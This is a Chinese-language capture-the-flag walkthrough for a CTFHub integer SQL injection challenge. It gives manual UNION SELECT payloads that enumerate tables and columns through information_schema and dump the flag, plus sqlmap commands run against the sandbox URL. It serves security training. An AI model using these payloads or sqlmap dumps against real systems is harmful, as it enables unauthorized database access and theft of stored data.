打开页面,是一个搜索框:
手工注入
判断注入类型
由题目给出的 SQL 语句可知,这是整型注入。
判断列数
输入:1 or 1=1 order by 3 #
,没有回显。
输入:1 or 1=1 order by 2 #
,有回显,说明列数为 2。
联合查询
1、显示数据库版本号、当前数据库名:
-1 union select version(), database() #
由此观之,有数据库sqli
。
2、获取数据库中的表名:
-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #
由此观之,数据库sqli
有 2 张表,分别是flag
和news
。
3、获得某表列名:
-1 union select 1, group_concat(column_name) from information_schema.columns where table_name='flag' #
由此观之,flag
表下只有列flag
。
4、获得数据:
-1 union select 2, group_concat(flag) from flag #
SQLMap 自动化注入
查数据库名
sqlmap -u http://challenge-7854cc3493b4f039.sandbox.ctfhub.com:10800/?id=1 --dbs --batch --threads 4
查表名
sqlmap -u http://challenge-7854cc3493b4f039.sandbox.ctfhub.com:10800/?id=1 --batch --threads 4 -D sqli --tables
查字段
sqlmap -u http://challenge-7854cc3493b4f039.sandbox.ctfhub.com:10800/?id=1 --batch --threads 4 -D sqli -T flag --columns
查记录
sqlmap -u http://challenge-7854cc3493b4f039.sandbox.ctfhub.com:10800/?id=1 --batch --threads 4 -D sqli -T flag -C"flag" --dump